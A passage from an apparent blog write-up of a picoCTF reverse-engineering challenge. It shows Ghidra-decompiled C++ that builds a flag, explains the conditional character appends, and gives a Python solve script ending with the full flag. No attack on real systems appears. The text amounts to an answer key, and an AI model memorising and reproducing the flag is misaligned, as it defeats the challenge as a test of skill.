<span id="cb3-66"><a href="#cb3-66" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-67"><a href="#cb3-67" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 001014e2 to 001014e6 has its CatchHandler @ 00101a6e */</span></span>
<span id="cb3-68"><a href="#cb3-68" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_128<span class="op">,</span><span class="st">&quot;3&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-69"><a href="#cb3-69" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-70"><a href="#cb3-70" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-71"><a href="#cb3-71" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 0010151d to 00101521 has its CatchHandler @ 00101a89 */</span></span>
<span id="cb3-72"><a href="#cb3-72" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_108<span class="op">,</span><span class="st">&quot;d&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-73"><a href="#cb3-73" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-74"><a href="#cb3-74" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-75"><a href="#cb3-75" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 00101558 to 0010155c has its CatchHandler @ 00101aa4 */</span></span>
<span id="cb3-76"><a href="#cb3-76" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_e8<span class="op">,</span><span class="st">&quot;b&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-77"><a href="#cb3-77" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-78"><a href="#cb3-78" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-79"><a href="#cb3-79" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 00101593 to 00101597 has its CatchHandler @ 00101abf */</span></span>
<span id="cb3-80"><a href="#cb3-80" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_c8<span class="op">,</span><span class="st">&quot;1&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-81"><a href="#cb3-81" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-82"><a href="#cb3-82" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-83"><a href="#cb3-83" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 001015ce to 001015d2 has its CatchHandler @ 00101ada */</span></span>
<span id="cb3-84"><a href="#cb3-84" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_a8<span class="op">,</span><span class="st">&quot;6&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-85"><a href="#cb3-85" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-86"><a href="#cb3-86" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-87"><a href="#cb3-87" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 00101606 to 0010160a has its CatchHandler @ 00101af5 */</span></span>
<span id="cb3-88"><a href="#cb3-88" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_88<span class="op">,</span><span class="st">&quot;e&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-89"><a href="#cb3-89" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-90"><a href="#cb3-90" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-91"><a href="#cb3-91" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 0010163e to 00101642 has its CatchHandler @ 00101b0d */</span></span>
<span id="cb3-92"><a href="#cb3-92" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_68<span class="op">,</span><span class="st">&quot;c&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-93"><a href="#cb3-93" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-94"><a href="#cb3-94" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-95"><a href="#cb3-95" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 00101676 to 0010167a has its CatchHandler @ 00101b25 */</span></span>
<span id="cb3-96"><a href="#cb3-96" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_48<span class="op">,</span><span class="st">&quot;8&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-97"><a href="#cb3-97" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-98"><a href="#cb3-98" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 00101699 to 0010185f has its CatchHandler @ 00101b3d */</span></span>
<span id="cb3-99"><a href="#cb3-99" aria-hidden="true" tabindex="-1"></a>  pcVar2 <span class="op">=</span> <span class="op">(</span><span class="dt">char</span> <span class="op">*)</span><span class="bu">std::</span>string::operator<span class="op">[]((</span><span class="ex">ulong</span><span class="op">)</span>local_208<span class="op">);</span></span>
<span id="cb3-100"><a href="#cb3-100" aria-hidden="true" tabindex="-1"></a>  <span class="cf">if</span> <span class="op">(*</span>pcVar2 <span class="op">&lt;</span> <span class="ch">&#39;B&#39;</span><span class="op">)</span> <span class="op">{</span></span>
<span id="cb3-101"><a href="#cb3-101" aria-hidden="true" tabindex="-1"></a>    <span class="bu">std::</span>string::operator<span class="op">+=(</span>local_248<span class="op">,</span>local_c8<span class="op">);</span></span>
<span id="cb3-102"><a href="#cb3-102" aria-hidden="true" tabindex="-1"></a>  <span class="op">}</span></span>
<span id="cb3-103"><a href="#cb3-103" aria-hidden="true" tabindex="-1"></a>  pcVar2 <span class="op">=</span> <span class="op">(</span><span class="dt">char</span> <span class="op">*)</span><span class="bu">std::</span>string::operator<span class="op">[]((</span><span class="ex">ulong</span><span class="op">)</span>local_a8<span class="op">);</span></span>
<span id="cb3-104"><a href="#cb3-104" aria-hidden="true" tabindex="-1"></a>  <span class="cf">if</span> <span class="op">(*</span>pcVar2 <span class="op">!=</span> <span class="ch">&#39;A&#39;</span><span class="op">)</span> <span class="op">{</span></span>
<span id="cb3-105"><a href="#cb3-105" aria-hidden="true" tabindex="-1"></a>    <span class="bu">std::</span>string::operator<span class="op">+=(</span>local_248<span class="op">,</span>local_68<span class="op">);</span></span>
<span id="cb3-106"><a href="#cb3-106" aria-hidden="true" tabindex="-1"></a>  <span class="op">}</span></span>
<span id="cb3-107"><a href="#cb3-107" aria-hidden="true" tabindex="-1"></a>  pcVar2 <span class="op">=</span> <span class="op">(</span><span class="dt">char</span> <span class="op">*)</span><span class="bu">std::</span>string::operator<span class="op">[]((</span><span class="ex">ulong</span><span class="op">)</span>local_1c8<span class="op">);</span></span>
<span id="cb3-108"><a href="#cb3-108" aria-hidden="true" tabindex="-1"></a>  cVar1 <span class="op">=</span> <span class="op">*</span>pcVar2<span class="op">;</span></span>
<span id="cb3-109"><a href="#cb3-109" aria-hidden="true" tabindex="-1"></a>  pcVar2 <span class="op">=</span> <span class="op">(</span><span class="dt">char</span> <span class="op">*)</span><span class="bu">std::</span>string::operator<span class="op">[]((</span><span class="ex">ulong</span><span class="op">)</span>local_148<span class="op">);</span></span>
<span id="cb3-110"><a href="#cb3-110" aria-hidden="true" tabindex="-1"></a>  <span class="cf">if</span> <span class="op">((</span><span class="dt">int</span><span class="op">)</span>cVar1 <span class="op">-</span> <span class="op">(</span><span class="dt">int</span><span class="op">)*</span>pcVar2 <span class="op">==</span> <span class="dv">3</span><span class="op">)</span> <span class="op">{</span></span>
<span id="cb3-111"><a href="#cb3-111" aria-hidden="true" tabindex="-1"></a>    <span class="bu">std::</span>string::operator<span class="op">+=(</span>local_248<span class="op">,</span>local_1c8<span class="op">);</span></span>
<span id="cb3-112"><a href="#cb3-112" aria-hidden="true" tabindex="-1"></a>  <span class="op">}</span></span>
<span id="cb3-113"><a href="#cb3-113" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::operator<span class="op">+=(</span>local_248<span class="op">,</span>local_1e8<span class="op">);</span></span>
<span id="cb3-114"><a href="#cb3-114" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::operator<span class="op">+=(</span>local_248<span class="op">,</span>local_188<span class="op">);</span></span>
<span id="cb3-115"><a href="#cb3-115" aria-hidden="true" tabindex="-1"></a>  pcVar2 <span class="op">=</span> <span class="op">(</span><span class="dt">char</span> <span class="op">*)</span><span class="bu">std::</span>string::operator<span class="op">[]((</span><span class="ex">ulong</span><span class="op">)</span>local_168<span class="op">);</span></span>
<span id="cb3-116"><a href="#cb3-116" aria-hidden="true" tabindex="-1"></a>  <span class="cf">if</span> <span class="op">(*</span>pcVar2 <span class="op">==</span> <span class="ch">&#39;G&#39;</span><span class="op">)</span> <span class="op">{</span></span>
<span id="cb3-117"><a href="#cb3-117" aria-hidden="true" tabindex="-1"></a>    <span class="bu">std::</span>string::operator<span class="op">+=(</span>local_248<span class="op">,</span>local_168<span class="op">);</span></span>
<span id="cb3-118"><a href="#cb3-118" aria-hidden="true" tabindex="-1"></a>  <span class="op">}</span></span>
<span id="cb3-119"><a href="#cb3-119" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::operator<span class="op">+=(</span>local_248<span class="op">,</span>local_1a8<span class="op">);</span></span>
<span id="cb3-120"><a href="#cb3-120" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::operator<span class="op">+=(</span>local_248<span class="op">,</span>local_88<span class="op">);</span></span>
<span id="cb3-121"><a href="#cb3-121" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::operator<span class="op">+=(</span>local_248<span class="op">,</span>local_228<span class="op">);</span></span>
<span id="cb3-122"><a href="#cb3-122" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::operator<span class="op">+=(</span>local_248<span class="op">,</span>local_128<span class="op">);</span></span>
<span id="cb3-123"><a href="#cb3-123" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::operator<span class="op">+=(</span>local_248<span class="op">,</span><span class="ch">&#39;}&#39;</span><span class="op">);</span></span>
<span id="cb3-124"><a href="#cb3-124" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_48<span class="op">);</span></span>
<span id="cb3-125"><a href="#cb3-125" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_68<span class="op">);</span></span>
<span id="cb3-126"><a href="#cb3-126" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_88<span class="op">);</span></span>
<span id="cb3-127"><a href="#cb3-127" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_a8<span class="op">);</span></span>
<span id="cb3-128"><a href="#cb3-128" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_c8<span class="op">);</span></span>
<span id="cb3-129"><a href="#cb3-129" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_e8<span class="op">);</span></span>
<span id="cb3-130"><a href="#cb3-130" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_108<span class="op">);</span></span>
<span id="cb3-131"><a href="#cb3-131" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_128<span class="op">);</span></span>
<span id="cb3-132"><a href="#cb3-132" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_148<span class="op">);</span></span>
<span id="cb3-133"><a href="#cb3-133" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_168<span class="op">);</span></span>
<span id="cb3-134"><a href="#cb3-134" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_188<span class="op">);</span></span>
<span id="cb3-135"><a href="#cb3-135" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_1a8<span class="op">);</span></span>
<span id="cb3-136"><a href="#cb3-136" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_1c8<span class="op">);</span></span>
<span id="cb3-137"><a href="#cb3-137" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_1e8<span class="op">);</span></span>
<span id="cb3-138"><a href="#cb3-138" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_208<span class="op">);</span></span>
<span id="cb3-139"><a href="#cb3-139" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_228<span class="op">);</span></span>
<span id="cb3-140"><a href="#cb3-140" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::<span class="op">~</span>string<span class="op">(</span>local_248<span class="op">);</span></span>
<span id="cb3-141"><a href="#cb3-141" aria-hidden="true" tabindex="-1"></a>  <span class="cf">if</span> <span class="op">(</span>local_20 <span class="op">==</span> <span class="op">*(</span><span class="dt">long</span> <span class="op">*)(</span>in_FS_OFFSET <span class="op">+</span> <span class="bn">0x28</span><span class="op">))</span> <span class="op">{</span></span>
<span id="cb3-142"><a href="#cb3-142" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> <span class="dv">0</span><span class="op">;</span></span>
<span id="cb3-143"><a href="#cb3-143" aria-hidden="true" tabindex="-1"></a>  <span class="op">}</span></span>
<span id="cb3-144"><a href="#cb3-144" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* </span><span class="al">WARNING</span><span class="co">: Subroutine does not return */</span></span>
<span id="cb3-145"><a href="#cb3-145" aria-hidden="true" tabindex="-1"></a>  __stack_chk_fail<span class="op">();</span></span>
<span id="cb3-146"><a href="#cb3-146" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<ul>
<li>Starts by declaring a number of C++ string variables (<code>local_248</code>, <code>local_228</code>, etc.)</li>
<li>Initializes the first string (<code>local_248)</code> with the partial flag we saw earlier: <code>"picoCTF{wELF_d0N3_mate_}"</code>)</li>
<li>Additionally, there's a series of unconditionaly statements that append certain characters to the flag, but based on specific conditions, which I'll cover more in the next section</li>
</ul>
<h2 id="flag-construction-logic--solution"><a href="#flag-construction-logic--solution" class="anchor">#</a>Flag construction logic &amp; solution</h2>
<p>The flag's construction logic:</p>
<ul>
<li>If the value at index 0 of <code>local_208</code> ("5") is less than 'B', append <code>local_c8</code> ("1") - this condition is true</li>
<li>If the value at index 0 of <code>local_a8</code> ("6") is not 'A', append <code>local_68</code> ("c") - this condition is true</li>
<li>If the difference between the value at index 0 of <code>local_1c8</code> ("3") and <code>local_148</code> ("e") equals 3, append <code>local_1c8</code> ("3") - this needs calculation</li>
<li>Unconditionally append <code>local_1e8</code> ("4")</li>
<li>Unconditionally append <code>local_188</code> ("9")</li>
<li>If the value at index 0 of <code>local_168</code> ("a") is 'G', append local_168 ("a") - this condition is false</li>
<li>Unconditionally append local_1a8 ("6")</li>
<li>Unconditionally append local_88 ("e")</li>
<li>Unconditionally append local_228 ("7")</li>
<li>Unconditionally append local_128 ("3")</li>
<li>Unconditionally append "}" to close the flag</li>
</ul>
<p>The solve script I used:</p>
<div class="sourceCode" id="cb4"><pre class="sourceCode py"><code class="sourceCode python"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="co">#!/usr/bin/env python3</span></span>
<span id="cb4-2"><a href="#cb4-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-3"><a href="#cb4-3" aria-hidden="true" tabindex="-1"></a><span class="kw">def</span> solve_picoctf():</span>
<span id="cb4-4"><a href="#cb4-4" aria-hidden="true" tabindex="-1"></a>    flag <span class="op">=</span> <span class="st">&quot;picoCTF{wELF_d0N3_mate_&quot;</span></span>
<span id="cb4-5"><a href="#cb4-5" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-6"><a href="#cb4-6" aria-hidden="true" tabindex="-1"></a>    <span class="co"># Define all the character variables as they appeared in Ghidra</span></span>
<span id="cb4-7"><a href="#cb4-7" aria-hidden="true" tabindex="-1"></a>    char_map <span class="op">=</span> {</span>
<span id="cb4-8"><a href="#cb4-8" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_248&#39;</span>: <span class="st">&quot;picoCTF{wELF_d0N3_mate_&quot;</span>,</span>
<span id="cb4-9"><a href="#cb4-9" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_228&#39;</span>: <span class="st">&quot;7&quot;</span>,</span>
<span id="cb4-10"><a href="#cb4-10" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_208&#39;</span>: <span class="st">&quot;5&quot;</span>,</span>
<span id="cb4-11"><a href="#cb4-11" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_1e8&#39;</span>: <span class="st">&quot;4&quot;</span>,</span>
<span id="cb4-12"><a href="#cb4-12" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_1c8&#39;</span>: <span class="st">&quot;3&quot;</span>,</span>
<span id="cb4-13"><a href="#cb4-13" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_1a8&#39;</span>: <span class="st">&quot;6&quot;</span>,</span>
<span id="cb4-14"><a href="#cb4-14" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_188&#39;</span>: <span class="st">&quot;9&quot;</span>,</span>
<span id="cb4-15"><a href="#cb4-15" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_168&#39;</span>: <span class="st">&quot;a&quot;</span>,</span>
<span id="cb4-16"><a href="#cb4-16" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_148&#39;</span>: <span class="st">&quot;e&quot;</span>,</span>
<span id="cb4-17"><a href="#cb4-17" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_128&#39;</span>: <span class="st">&quot;3&quot;</span>,</span>
<span id="cb4-18"><a href="#cb4-18" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_108&#39;</span>: <span class="st">&quot;d&quot;</span>,</span>
<span id="cb4-19"><a href="#cb4-19" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_e8&#39;</span>: <span class="st">&quot;b&quot;</span>,</span>
<span id="cb4-20"><a href="#cb4-20" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_c8&#39;</span>: <span class="st">&quot;1&quot;</span>,</span>
<span id="cb4-21"><a href="#cb4-21" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_a8&#39;</span>: <span class="st">&quot;6&quot;</span>,</span>
<span id="cb4-22"><a href="#cb4-22" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_88&#39;</span>: <span class="st">&quot;e&quot;</span>,</span>
<span id="cb4-23"><a href="#cb4-23" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_68&#39;</span>: <span class="st">&quot;c&quot;</span>,</span>
<span id="cb4-24"><a href="#cb4-24" aria-hidden="true" tabindex="-1"></a>        <span class="st">&#39;local_48&#39;</span>: <span class="st">&quot;8&quot;</span></span>
<span id="cb4-25"><a href="#cb4-25" aria-hidden="true" tabindex="-1"></a>    }</span>
<span id="cb4-26"><a href="#cb4-26" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-27"><a href="#cb4-27" aria-hidden="true" tabindex="-1"></a>    <span class="co"># Follow the logic in the decompiled code</span></span>
<span id="cb4-28"><a href="#cb4-28" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-29"><a href="#cb4-29" aria-hidden="true" tabindex="-1"></a>    <span class="co"># If the value at index 0 of local_208 (&quot;5&quot;) is less than &#39;B&#39;</span></span>
<span id="cb4-30"><a href="#cb4-30" aria-hidden="true" tabindex="-1"></a>    <span class="cf">if</span> char_map[<span class="st">&#39;local_208&#39;</span>][<span class="dv">0</span>] <span class="op">&lt;</span> <span class="st">&#39;B&#39;</span>:</span>
<span id="cb4-31"><a href="#cb4-31" aria-hidden="true" tabindex="-1"></a>        flag <span class="op">+=</span> char_map[<span class="st">&#39;local_c8&#39;</span>]  <span class="co"># Append &quot;1&quot;</span></span>
<span id="cb4-32"><a href="#cb4-32" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-33"><a href="#cb4-33" aria-hidden="true" tabindex="-1"></a>    <span class="co"># If the value at index 0 of local_a8 (&quot;6&quot;) is not &#39;A&#39;</span></span>
<span id="cb4-34"><a href="#cb4-34" aria-hidden="true" tabindex="-1"></a>    <span class="cf">if</span> char_map[<span class="st">&#39;local_a8&#39;</span>][<span class="dv">0</span>] <span class="op">!=</span> <span class="st">&#39;A&#39;</span>:</span>
<span id="cb4-35"><a href="#cb4-35" aria-hidden="true" tabindex="-1"></a>        flag <span class="op">+=</span> char_map[<span class="st">&#39;local_68&#39;</span>]  <span class="co"># Append &quot;c&quot;</span></span>
<span id="cb4-36"><a href="#cb4-36" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-37"><a href="#cb4-37" aria-hidden="true" tabindex="-1"></a>    <span class="co"># If the difference between the value at index 0 of local_1c8 (&quot;3&quot;) and local_148 (&quot;e&quot;) equals 3</span></span>
<span id="cb4-38"><a href="#cb4-38" aria-hidden="true" tabindex="-1"></a>    <span class="co"># ASCII &#39;3&#39; is 51, ASCII &#39;e&#39; is 101, difference = -50, not 3, so this condition is false</span></span>
<span id="cb4-39"><a href="#cb4-39" aria-hidden="true" tabindex="-1"></a>    <span class="cf">if</span> <span class="bu">ord</span>(char_map[<span class="st">&#39;local_1c8&#39;</span>][<span class="dv">0</span>]) <span class="op">-</span> <span class="bu">ord</span>(char_map[<span class="st">&#39;local_148&#39;</span>][<span class="dv">0</span>]) <span class="op">==</span> <span class="dv">3</span>:</span>
<span id="cb4-40"><a href="#cb4-40" aria-hidden="true" tabindex="-1"></a>        flag <span class="op">+=</span> char_map[<span class="st">&#39;local_1c8&#39;</span>]  <span class="co"># This won&#39;t execute</span></span>
<span id="cb4-41"><a href="#cb4-41" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-42"><a href="#cb4-42" aria-hidden="true" tabindex="-1"></a>    <span class="co"># Unconditionally append these characters</span></span>
<span id="cb4-43"><a href="#cb4-43" aria-hidden="true" tabindex="-1"></a>    flag <span class="op">+=</span> char_map[<span class="st">&#39;local_1e8&#39;</span>]</span>
<span id="cb4-44"><a href="#cb4-44" aria-hidden="true" tabindex="-1"></a>    flag <span class="op">+=</span> char_map[<span class="st">&#39;local_188&#39;</span>]</span>
<span id="cb4-45"><a href="#cb4-45" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-46"><a href="#cb4-46" aria-hidden="true" tabindex="-1"></a>    <span class="co"># If the value at index 0 of local_168 (&quot;a&quot;) is &#39;G&#39;</span></span>
<span id="cb4-47"><a href="#cb4-47" aria-hidden="true" tabindex="-1"></a>    <span class="cf">if</span> char_map[<span class="st">&#39;local_168&#39;</span>][<span class="dv">0</span>] <span class="op">==</span> <span class="st">&#39;G&#39;</span>:</span>
<span id="cb4-48"><a href="#cb4-48" aria-hidden="true" tabindex="-1"></a>        flag <span class="op">+=</span> char_map[<span class="st">&#39;local_168&#39;</span>]  <span class="co"># This won&#39;t execute</span></span>
<span id="cb4-49"><a href="#cb4-49" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-50"><a href="#cb4-50" aria-hidden="true" tabindex="-1"></a>    <span class="co"># Unconditionally append these characters</span></span>
<span id="cb4-51"><a href="#cb4-51" aria-hidden="true" tabindex="-1"></a>    flag <span class="op">+=</span> char_map[<span class="st">&#39;local_1a8&#39;</span>]</span>
<span id="cb4-52"><a href="#cb4-52" aria-hidden="true" tabindex="-1"></a>    flag <span class="op">+=</span> char_map[<span class="st">&#39;local_88&#39;</span>]</span>
<span id="cb4-53"><a href="#cb4-53" aria-hidden="true" tabindex="-1"></a>    flag <span class="op">+=</span> char_map[<span class="st">&#39;local_228&#39;</span>]</span>
<span id="cb4-54"><a href="#cb4-54" aria-hidden="true" tabindex="-1"></a>    flag <span class="op">+=</span> char_map[<span class="st">&#39;local_128&#39;</span>]</span>
<span id="cb4-55"><a href="#cb4-55" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-56"><a href="#cb4-56" aria-hidden="true" tabindex="-1"></a>    flag <span class="op">+=</span> <span class="st">&quot;}&quot;</span></span>
<span id="cb4-57"><a href="#cb4-57" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-58"><a href="#cb4-58" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> flag</span>
<span id="cb4-59"><a href="#cb4-59" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-60"><a href="#cb4-60" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="va">__name__</span> <span class="op">==</span> <span class="st">&quot;__main__&quot;</span>:</span>
<span id="cb4-61"><a href="#cb4-61" aria-hidden="true" tabindex="-1"></a>    <span class="bu">print</span>(solve_picoctf())</span></code></pre></div>
<p>flag: <code>picoCTF{wELF_d0N3_mate_1c496e73}</code></p>]]></summary>
</entry>

</feed>
